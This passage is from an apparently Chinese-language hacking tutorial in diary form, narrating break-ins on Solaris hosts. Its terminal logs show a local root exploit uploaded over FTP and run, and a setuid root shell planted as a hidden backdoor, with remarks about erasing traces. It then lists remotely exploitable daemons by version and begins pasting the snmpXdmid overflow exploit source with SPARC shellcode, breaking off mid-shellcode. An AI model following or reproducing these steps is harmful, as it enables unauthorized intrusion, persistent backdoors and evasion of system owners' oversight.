-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb

-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf

-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data

-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399

-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock

-rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test

-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c

-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data

$ ftp 192.168.0.3

Connected to 192.168.0.3.

220 dev01 FTP server (SunOS 5.6) ready.

Name (192.168.0.2:delex): tong

331 Password required for tong.

Password:

230 User tong logged in.

ftp> cd /tmp

250 CWD command successful.

ftp> bin (***设置上传模式为二进制***)

200 Type set to I.

ftp> put lpset

200 PORT command successful.

150 Binary data connection for lpset (192.168.0.2,49105).

226 Transfer complete.

local: lpset remote: lpset

8572 bytes sent in 0.00054 seconds (15617.71 Kbytes/s)

ftp> by

221 Goodbye.

$ telnet 192.168.0.3

Trying 192.168.0.3...

Connected to 192.168.0.3.

Escape character is '^]'.





SunOS 5.6



login: tong

Password:

Last login: Wed Jul 4 20:31:37 from 192.168.0.2

Sun Microsystems Inc. SunOS 5.6 Generic August 1997

You have mail.

$ /tmp/lpset

/tmp/lpset: cannot execute

$ chmod 755 /tmp/lpset

$ /tmp/lpset

copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/

/usr/bin/lpset for solaris 2.6 2.7 sparc



# id

uid=107(tong) gid=10(staff) euid=0(root) (***HOHO~死了没?***)

#mkdir /usr/lib/…

#cp /bin/ksh /usr/lib/…/.x

#chmod +s /usr/lib/…/.x

#exit

$ exit

Connection closed by foreign host. (***不管啦,脚印也不擦啦***)

$exit



遗失对主机的连接。

C:\>

-------------------------------------------------test--------------------------------------------------------------



哦,怎么不干了?断开连接了?连脚印都不擦?

嘿嘿,兄弟,现在是21:00啦,还要赶地铁呢。本来20:30就要走啦,明天继续吧,管不了那么多啦。大家先回去看我以前
的教程,温习一下该怎么擦PP。为了节省版面,这篇教程不会出现擦PP的啦,自己要懂得擦干净哦。:)

对了,明天要学习远程溢出的利用,然后找几台redhat回来。

回去啦,肚子也饿啦,明天见~~

zzzZZZZZZ~~~~~~~~





第二天:





嘿嘿,大家早上好~

今天上班好象有任务要分配,我先去问问。

稍等…



真惨,分配了任务。

不过,是从下个星期开始做。:)

所以今天就写教程吧。

不知道今天能不能写完这份教程呢。

我们继续。:)

昨天讲述了本地提升权限的方法,今天我们来说说远程溢出的利用。

几乎各种操作系统都有严重的远程溢出漏洞。

常见的有:

Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6 的rpc.ttdbserverd

Solaris 2.5, 2.5.1, 2.6, 7 的 rpc.cmsd

solaris 2.6, 7 的 sadmind

Solaris 7, 8 的 snmpXdmid

Redhat 6.0, 5.1, 4.0 的Amd

Redhat 6.2, 6.1, 6.0 的 rpc.statd

Redhat 7.0 的 LPRng



其它的系统就不在列举了。

除了系统本身存在问题外,还有一些第三方程序存在问题。

比如常见的FTP服务器Wu-ftp,版本2.6.0及以下都存在严重的远程溢出问题

比如DNS 服务器 bind,版本8.2.2及以下版本都存在严重的远程溢出问题。



可以利用的东西太多了,而要掌握这些则需要时间,需要靠经验的积累。

等经验丰富后,入侵一个简单的系统,只要得到对方的系统版本,然后扫描一下端口就足够了。因为这时候你已经对各
种系统和守护进程的弱点有了很详细的了解。





我们这次来尝试进入一台 Solaris 8的机器。





-------------------------------------------------test--------------------------------------------------------------

C:\>telnet 192.168.0.2



SunOS 5.7



login: login: delex

Password:

*********************************************************



# The JRun is now replaced by JServ

# To restart the servlet server, please use



rs.sh



# However, as the JServ will reload those classes

# inside the "/usr/proj/gipex/class", you just

# need to remove the old class with the new one.



*********************************************************

$ w

9:21am up 61 day(s), 18:42, 2 users, load average: 0.03, 0.04, 0.05

User tty login@ idle JCPU PCPU what

root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u

root pts/4 Fri 4pm 6days tail -f syslog

delex pts/6 9:21am w

$ls –al /usr/lib/…

total 202

drwxrwxr-x 2 root staff 512 Jul 5 10:22 .

drwxrwxr-x 46 root bin 10240 Jul 4 19:21 ..

-r-sr-sr-x 1 root staff 91668 Jul 5 10:22 .x

$ id

uid=1035(delex) gid=20(staff)

$ /usr/lib/.../.x (***运行昨天留下的本地后门直接获得root权限***)

# id

uid=1035(delex) gid=20(staff) euid=0(root)

# cd /tmp

# ls –al (***昨天的程序都忘了删呢,走得太急啦,不知道还在不在呢***)

total 1410

drwxrwxrwt 7 sys sys 1236 Jul 5 10:20 .

drwxrwxrwx 35 root root 1024 Jul 4 19:15 ..

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe

drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix

drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia

drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable

drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door

-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class

-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0

-rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset (***HOHO~**)

-rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c

-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb

-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf

-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data

-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399

-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock

-rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test

-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c

-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data

# cat > snmp.c (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_snmpxdmid ***)

#include

#include

#include

#include

#include

#include

#include

#include

#include



#define SNMPXDMID_PROG 100249

#define SNMPXDMID_VERS 0x1

#define SNMPXDMID_ADDCOMPONENT 0x101



char findsckcode[]=

"\x20\xbf\xff\xff" /* bn,a */

"\x20\xbf\xff\xff" /* bn,a */

"\x7f\xff\xff\xff" /* call */

"\x33\x02\x12\x34"

"\xa0\x10\x20\xff" /* mov 0xff,%l0 */

"\xa2\x10\x20\x54" /* mov 0x54,%l1 */

"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */

"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */

"\x81\xc5\x60\x08" /* jmp %l5+8 */

"\xc0\x2b\xe0\x04" /* stb %g0,